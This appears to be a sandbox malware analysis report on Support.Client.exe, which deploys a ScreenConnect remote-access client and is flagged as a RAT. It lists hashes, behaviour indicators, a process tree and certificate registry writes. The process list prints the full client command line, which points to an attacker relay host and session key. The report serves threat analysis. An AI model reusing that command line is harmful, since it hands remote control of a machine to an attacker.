Malware analysis Support.Client.exe Malicious activity

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File name:	Support.Client.exe
Full analysis:	https://app.any.run/tasks/841b70e7-b05c-4285-b821-cc0a51929f83
Verdict:	Malicious activity
Threats:	Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Malware Trends Tracker >>>
Analysis date:	April 15, 2025, 18:19:50
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	screenconnect rmm-tool remote rat
Indicators:
MIME:	application/vnd.microsoft.portable-executable
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:	0187C136EA7BA28E8055AEEE6E8BD760
SHA1:	DA9E1F60B42A171F61BF4645301CAF619B5BC4CE
SHA256:	EAFFC9431791B3D08FA5F017D47436EFCF945CD04516BFBACFC3D258E646DFDA
SSDEEP:	1536:c4lrL5PZVm5c7cwFgnPfdwngb7XCdqQsWQcdnSfqINKnx:brL5RVm5c7cegn3dwgbD+lnSfq3x

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- SCREENCONNECT has been detected (SURICATA)
  - ScreenConnect.ClientService.exe (PID: 300)
SUSPICIOUS
- Adds/modifies Windows certificates
  - Support.Client.exe (PID: 7420)
  - dfsvc.exe (PID: 7460)
- Reads Internet Explorer settings
  - dfsvc.exe (PID: 7460)
- Executable content was dropped or overwritten
  - dfsvc.exe (PID: 7460)
- The process creates files with name similar to system file names
  - dfsvc.exe (PID: 7460)
- Reads security settings of Internet Explorer
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
  - ScreenConnect.ClientService.exe (PID: 8188)
  - ScreenConnect.ClientService.exe (PID: 300)
  - ScreenConnect.WindowsClient.exe (PID: 7280)
  - ScreenConnect.WindowsClient.exe (PID: 6944)
  - ScreenConnect.WindowsClient.exe (PID: 7508)
- Reads the date of Windows installation
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
- Executes as Windows Service
  - ScreenConnect.ClientService.exe (PID: 300)
- SCREENCONNECT mutex has been found
  - ScreenConnect.ClientService.exe (PID: 300)
- Creates or modifies Windows services
  - ScreenConnect.ClientService.exe (PID: 300)
- Connects to unusual port
  - ScreenConnect.ClientService.exe (PID: 300)
- Potential Corporate Privacy Violation
  - ScreenConnect.ClientService.exe (PID: 300)
- Executes application which crashes
  - Support.Client.exe (PID: 7420)
- Detects ScreenConnect RAT (YARA)
  - ScreenConnect.ClientService.exe (PID: 300)
  - ScreenConnect.WindowsClient.exe (PID: 7280)
  - ScreenConnect.WindowsClient.exe (PID: 7508)
- There is functionality for taking screenshot (YARA)
  - ScreenConnect.ClientService.exe (PID: 300)
  - ScreenConnect.WindowsClient.exe (PID: 7280)
  - ScreenConnect.WindowsClient.exe (PID: 7508)
- Screenconnect has been detected
  - ScreenConnect.ClientService.exe (PID: 300)
INFO
- Checks supported languages
  - Support.Client.exe (PID: 7420)
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
  - ScreenConnect.ClientService.exe (PID: 8188)
  - ScreenConnect.ClientService.exe (PID: 300)
  - ScreenConnect.WindowsClient.exe (PID: 7280)
  - ScreenConnect.WindowsClient.exe (PID: 6944)
  - ScreenConnect.WindowsClient.exe (PID: 7508)
- Reads the computer name
  - Support.Client.exe (PID: 7420)
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
  - ScreenConnect.ClientService.exe (PID: 8188)
  - ScreenConnect.ClientService.exe (PID: 300)
  - ScreenConnect.WindowsClient.exe (PID: 7280)
  - ScreenConnect.WindowsClient.exe (PID: 6944)
  - ScreenConnect.WindowsClient.exe (PID: 7508)
- Reads the machine GUID from the registry
  - Support.Client.exe (PID: 7420)
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
  - ScreenConnect.ClientService.exe (PID: 8188)
  - ScreenConnect.ClientService.exe (PID: 300)
  - ScreenConnect.WindowsClient.exe (PID: 7280)
  - ScreenConnect.WindowsClient.exe (PID: 6944)
  - ScreenConnect.WindowsClient.exe (PID: 7508)
- Disables trace logs
  - dfsvc.exe (PID: 7460)
- Reads Environment values
  - dfsvc.exe (PID: 7460)
- Checks proxy server information
  - dfsvc.exe (PID: 7460)
  - slui.exe (PID: 732)
- Create files in a temporary directory
  - dfsvc.exe (PID: 7460)
- Process checks whether UAC notifications are on
  - dfsvc.exe (PID: 7460)
- Creates files or folders in the user directory
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
  - ScreenConnect.ClientService.exe (PID: 300)
  - WerFault.exe (PID: 672)
- Reads the software policy settings
  - dfsvc.exe (PID: 7460)
  - slui.exe (PID: 7604)
  - slui.exe (PID: 732)
- Process checks computer location settings
  - dfsvc.exe (PID: 7460)
  - ScreenConnect.WindowsClient.exe (PID: 8096)
- SCREENCONNECT has been detected
  - ScreenConnect.ClientService.exe (PID: 300)
- Reads CPU info
  - ScreenConnect.WindowsClient.exe (PID: 6944)
- Manual execution by a user
  - Taskmgr.exe (PID: 7784)
  - Taskmgr.exe (PID: 7816)
- Reads security settings of Internet Explorer
  - Taskmgr.exe (PID: 7816)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win32 Executable MS Visual C++ (generic) (42.2)
.exe	\|	Win64 Executable (generic) (37.3)
.dll	\|	Win32 Dynamic Link Library (generic) (8.8)
.exe	\|	Win32 Executable (generic) (6)
.exe	\|	Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2024:12:18 21:38:20+00:00
ImageFileCharacteristics:	Executable, 32-bit
PEType:	PE32
LinkerVersion:	14.4
CodeSize:	40960
InitializedDataSize:	33280
UninitializedDataSize:	-
EntryPoint:	0x1489
OSVersion:	5.1
ImageVersion:	-
SubsystemVersion:	5.1
Subsystem:	Windows GUI

No data.

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All screenshots are available in the full report

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Total processes

149

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

300

"C:\Users\admin\AppData\Local\Apps\2.0\ENM23D89.86M\C7RGDG3V.ZHG\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=borejon.wxhelp.top&p=8880&s=58c13c47-07c9-4568-892f-c29342e6aa89&k=BgIAAACkAABSU0ExAAgAAAEAAQBx0zcOEYujzQguxXg08bB1kOMkcCfFelFgniaH%2fzbCnBFxGGZj2GKP%2f4VzHiXGBO8aG%2bOP13Jc6We1Pp6igpesbQHZakDqr1g6%2fkISsMDQ6g7XVosu99qY%2fBgQksSrH3%2fJz948u6l%2bjSlV%2f2RYfJ68Oc09ZeX7UMPFlo6H94jRL%2fCj6HVtYr7w1ZDUaWsWrV0IgTAZEi5PK7CzEH99RKCj4cf8AVQW6XF1kbLb6rFgNOgOlCo7auk8Ez8Z6HDu9FpEaVEAtgoK9rh5TSPz5YQmF0TOPJ3XGvjqRpJNo%2flkjixdRHtDGArnNhmWHcuUK7XI7bmHmc866nBmq4JERYOy&r=&i=Untitled%20Session" "5"

C:\Users\admin\AppData\Local\Apps\2.0\ENM23D89.86M\C7RGDG3V.ZHG\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\ScreenConnect.ClientService.exe

services.exe

User:

SYSTEM

Integrity Level:

SYSTEM

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\enm23d89.86m\c7rgdg3v.zhg\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\shlwapi.dll
c:\windows\syswow64\msvcrt.dll

672

C:\WINDOWS\SysWOW64\WerFault.exe -u -p 7420 -s 864

C:\Windows\SysWOW64\WerFault.exe

—

Support.Client.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Problem Reporting

Exit code:

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll

732

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

2196

C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

services.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Host Process for Windows Services

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll

6944

"C:\Users\admin\AppData\Local\Apps\2.0\ENM23D89.86M\C7RGDG3V.ZHG\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\ScreenConnect.WindowsClient.exe" "RunRole" "85ffc11b-71e2-43a5-9afb-7e499476047e" "System"

C:\Users\admin\AppData\Local\Apps\2.0\ENM23D89.86M\C7RGDG3V.ZHG\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\ScreenConnect.WindowsClient.exe

—

ScreenConnect.ClientService.exe

User:

SYSTEM

Company:

ScreenConnect Software

Integrity Level:

SYSTEM

Description:

ScreenConnect Client

Exit code:

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\enm23d89.86m\c7rgdg3v.zhg\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

7280

C:\Users\admin\AppData\Local\Apps\2.0\ENM23D89.86M\C7RGDG3V.ZHG\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\ScreenConnect.WindowsClient.exe

ScreenConnect.ClientService.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\enm23d89.86m\c7rgdg3v.zhg\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

7420

"C:\Users\admin\AppData\Local\Temp\Support.Client.exe"

C:\Users\admin\AppData\Local\Temp\Support.Client.exe

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

3221225480

Modules

Images
c:\users\admin\appdata\local\temp\support.client.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\crypt32.dll

7460

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Support.Client.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

ClickOnce

Version:

4.8.9037.0 built by: NET481REL1

Modules

Images
c:\windows\microsoft.net\framework64\v4.0.30319\dfsvc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

7508

C:\Users\admin\AppData\Local\Apps\2.0\ENM23D89.86M\C7RGDG3V.ZHG\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\ScreenConnect.WindowsClient.exe

ScreenConnect.ClientService.exe

User:

SYSTEM

Company:

ScreenConnect Software

Integrity Level:

SYSTEM

Description:

ScreenConnect Client

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\enm23d89.86m\c7rgdg3v.zhg\scre..tion_25b0fbb6ef7eb094_0018.0004_94070423537dd687\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

7572

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Exit code:

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

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Total events

13 798

Read events

13 596

Write events

170

Delete events

Modification events


(PID) Process:	(7420) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	7B0F360B775F76C94A12CA48445AA2D2A875701C
Value:
(PID) Process:	(7420) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C
Operation:	write	Name:	Blob
Value: 0300000001000000140000007B0F360B775F76C94A12CA48445AA2D2A875701C2000000001000000B4060000308206B030820498A003020102021008AD40B260D29C4C9F5ECDA9BD93AED9300D06092A864886F70D01010C05003062310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3121301F060355040313184469676943657274205472757374656420526F6F74204734301E170D3231303432393030303030305A170D3336303432383233353935395A3069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E6720525341343039362053484133383420323032312043413130820222300D06092A864886F70D01010105000382020F003082020A0282020100D5B42F42D028AD78B75DD539591BB18842F5338CEB3D819770C5BBC48526309FA48E68D85CF5EB342407E14B4FD37843F417D71EDAF9D2D5671A524F0EA157FC8899C191CC81033E4D702464B38DE2087D347D4C8057126B439A99F2C53B1FF2EFCB475A13A64CB3012025F310D38BB2FB08F08AE09D09C065A7FA98804935873D5119E8902178452EA19F2CE118C21ACCC5EE93497042328FFBC6EA1CF3656891A24D4C8211485268DE10BD14575DE8181365C57FB24F852C48A4568435D6F92E9CAA0015D137FE1A0694C27CC8EA1B32E6CAC2F4A7A3030E74A5AF39B6AB6012E3E8D6B9F731E1DCADE418A0D8C1234747B3A10F6EA3AB6D9806831BB76A672DD2BD441A9210818FB03B09D7C79B325AC2FF6A60548B49C193EDE1B45CE06FEB26F98CD5B2F93810E6EACE91F5BED3FB6F9361345CBC93452883362A66285FB073CE8B262506B283D45CF615194CED62E05E33F2E8E8EC0AA7B0032B91B23679BEF7AD081E75A665CCBBE34850F377911AFEDB50A246C8615898F57C02163C8328AD3986ECD4B70D53D0F847E675308DEC30937614A65B4B5D74614D3F129176DEBF58CB72102941F0D5C56D267668114113589ADC262B01F4894D59DB78CF814A3E40475FC98150738510232159608A6454C1CC211AE838197C661CCD78384530994FFF634F4CBBAA0D0853417C583D47B3FAB6EC8C320902CC6C3C0C56110203010001A38201593082015530120603551D130101FF040830060101FF020100301D0603551D0E041604146837E0EBB63BF85F1186FBFE617B088865F44E42301F0603551D23041830168014ECD7E382D2715D644CDF2E673FE7BA98AE1C0F4F300E0603551D0F0101FF04040302018630130603551D25040C300A06082B06010505070303307706082B06010505070101046B3069302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D304106082B060105050730028635687474703A2F2F636163657274732E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63727430430603551D1F043C303A3038A036A0348632687474703A2F2F63726C332E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63726C301C0603551D20041530133007060567810C01033008060667810C010401300D06092A864886F70D01010C050003820201003A23443D8D0876EE8FBC3A99D356E0021AA5F84834F32CB6E67466F79472B100CAAF6C302713129E90449F4BFD9EA37C26D537BC3A5D486D95D53F49F427BB16814550FD9CBDB685E0767E3771CB22F75AAA90CFF5936AE3EB20D1D55079889A8A8AC1B6BDA148187EDCD8801A111918CD61998156F6C9E376E7C4E41B5F43F83E94FF76393D9ED499CF4ADD28EB5F26A1955848D51AFED7273FFD90D17686DD1CB0605CF30DA8EEE089A1BD39E1384EDA6EBB369DFBE521535AC3CAE96AF1A23EDB43B833C84F38149299F5DDCE546DD95D02141F40337C03E295B2C221757352CB46D8C4341CA2A54B8DCD6F76372C853F1ACE26E918BE9007B0437F9588208270F0CCCAEFFD29355C1F893855F7378A8B09A1CB0BE9311AFF2E195C3971E1BE9CA70A06D62667B792E64E5FDE7AAC49CF2EA47492ADDB3CA49C861FE3C1561B2B23FF8FB5EA887B706BE6A0BAFD3A3F45A6C4E81691528B41C048844B964DAB4440E38DF01528CEEDF11856072A2F10C40C08643C338FAE288C3CCB8F880B0DBF3BF4CE1E7B8EEFB5EBCBB7F07713E6E7283FAC12AEA52F226C41F9825C1566CC6C0ECAC586C3F626330C074BA0D307026A6A4030484B34A85120BBAD1B8508E2590D6DCA05502BEA4A1C9EA5FDA0A71F0674E7F2D65290FDAF854821F9573BB49C03ED8645F4B4616EBF68E2266086EAC8AFA9FE941DE7631B3A8656784E
(PID) Process:	(7420) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Value:
(PID) Process:	(7420) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Operation:	write	Name:	Blob
Value: 0300000001000000140000004C2272FBA7A7380F55E2A424E9E624AEE1C145792000000001000000640700003082076030820548A00302010202100B9360051BCCF66642998998D5BA97CE300D06092A864886F70D01010B05003069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E67205253413430393620534841333834203230323120434131301E170D3232303831373030303030305A170D3235303831353233353935395A3065310B30090603550406130255533110300E06035504081307466C6F72696461310E300C0603550407130554616D706131193017060355040A1310436F6E6E656374776973652C204C4C433119301706035504031310436F6E6E656374776973652C204C4C4330820222300D06092A864886F70D01010105000382020F003082020A0282020100EC489826D08D2C6DE21B3CD3676DB1E0E50CB1FF75FF564E9741F9574AA3640AA8297294A05B4DB68ABD0760B6B05B50CE92FF42A4E390BE776A43E9961C722F6B3A4D5C880BCC6A61B4026F9137D36B2B7E9B86055876B9FA860DBCB164FE7F4B5B9DE4799AE4E02DC1F0BEE01E5D032933A2827388F8DB0B482E76C441B1BD50909EF2023E1FB62196C994CE052266B28CD89253E6416044133139764DB5FC45702529536BF82C775F9EC81FA27DC409530325F40CDEF95B81B9CE0D42791CEE72E7BD1B36C257B52257C65A28970E457513989434BFC239E2992B193E1B3CC3F11CCDD1D26D4EC9845099AB913906A42069AF999C0071169B45A2EA1AA666F1904E8ACB05E1823A359A291FD46B4EF7AED5935BB6AB17EBF077210726930C90F01761D6544A94E8FA614CC41D817EEC734B1C3D3AFB7C58FB256F0C09EDC1459BDDBFF9940ED1958570265D67AF79A9B6A16AFFD70FC6328C9810D5DC186E39AF6FBCAD49A270F237E6BCD5DE0BC014BC3179CD79776591340311A42CA94F33416C2E01B59BD1D71DE86ACE6716BC90B2D7695D155039AA08FBAC19A4D93FB784230A20A485287A16355645FC09142C602D140FA046B7BFD75328184FF7BDF8F9E0D65E6201C8D242931047F59BD328AC353777CCEFA60408887B84FC3631301463461A1D73C0B5CC74D6D82905DDF923BDBAB027A311CC38D3FA16F639A50203010001A382020630820202301F0603551D230418301680146837E0EBB63BF85F1186FBFE617B088865F44E42301D0603551D0E04160414338CE10A6E06D9C6ED0BC6CAE736CEFB8188646A300E0603551D0F0101FF04040302078030130603551D25040C300A06082B060105050703033081B50603551D1F0481AD3081AA3053A051A04F864D687474703A2F2F63726C332E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C3053A051A04F864D687474703A2F2F63726C342E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C303E0603551D20043730353033060667810C0104013029302706082B06010505070201161B687474703A2F2F7777772E64696769636572742E636F6D2F43505330819406082B06010505070101048187308184302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D305C06082B060105050730028650687474703A2F2F636163657274732E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E637274300C0603551D130101FF04023000300D06092A864886F70D01010B050003820201000AD79F00CF4984864C8981ECCE8718AA875647F6A74608C968E16568C7AA9D711ED7341676038067F01330C91621B27A2A8894C4108C268162A31F13F9757A7D6BB3C6F19BF27C3A29896D712D85873627D827CD6471761444FABF1D31E903F791143C5B4CE5E7444AACBA36D759AEBA3069D195226755CBC675AA747F77596C53C96E083C45BBA24479D6845EEA9F2B28BA29B4DCF0BCF14AA4CE176C24E2C1B8FEC3EE16E1C086DB6FDA97388859E83BE65C03F701395B78B842C6DD1533EF642CCA6FE50F6337D3F2DFEDD8B28F2B28E0C98EDD2151392E7CC75489F48859F1DE14C81B306EB50EED7BB78BE30EAADA76767C4CA523A11EEC5A2372D6122926AB1801A6A6778E9504791487EE47D4577154988802070F80FC535957658F954CD083546C5AFB5A6567B6761275F5DB20F70AB86FEEF94C7CFC65369D325121B69A82399BC7DC1962416F0F05CF1EEE64D495A3527E464E2C68DA0187093F97B673E43DDDBCC067E00713F1565FCFF8C3772D44B40A04E600644F22A990345F9A6B5B52963E82C81A0CE91D43A230F67B37D8DEBDA40EA3D59D305E18ADC1976516C12A8BA2BCA24143B12E9527B4DCA58872AA9B3A8C6AC563FC2DC02BF51BE889516D35A4BA9D062417B5BDCC50BA945FAE26B60D6AEC03984798A6A21D3FF793CC0849E81ED55B8027411C50DB776AE8FEEF2FDC2DAFB04345261DEDC054
(PID) Process:	(7460) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: WQONH4NEBKH50GL1QVTXVPQN
(PID) Process:	(7460) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete value	Name:	ComponentStore_RandomString
Value: WQONH4NEBKH50GL1QVTXVPQN
(PID) Process:	(7460) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete key	Name:	(default)
Value:
(PID) Process:	(7460) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: ENM23D8986MC7RGDG3VZHGLD
(PID) Process:	(7460) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager
Operation:	write	Name:	StateStore_RandomString
Value: QRX6M06OGKRP9DO8DBJ23CV6
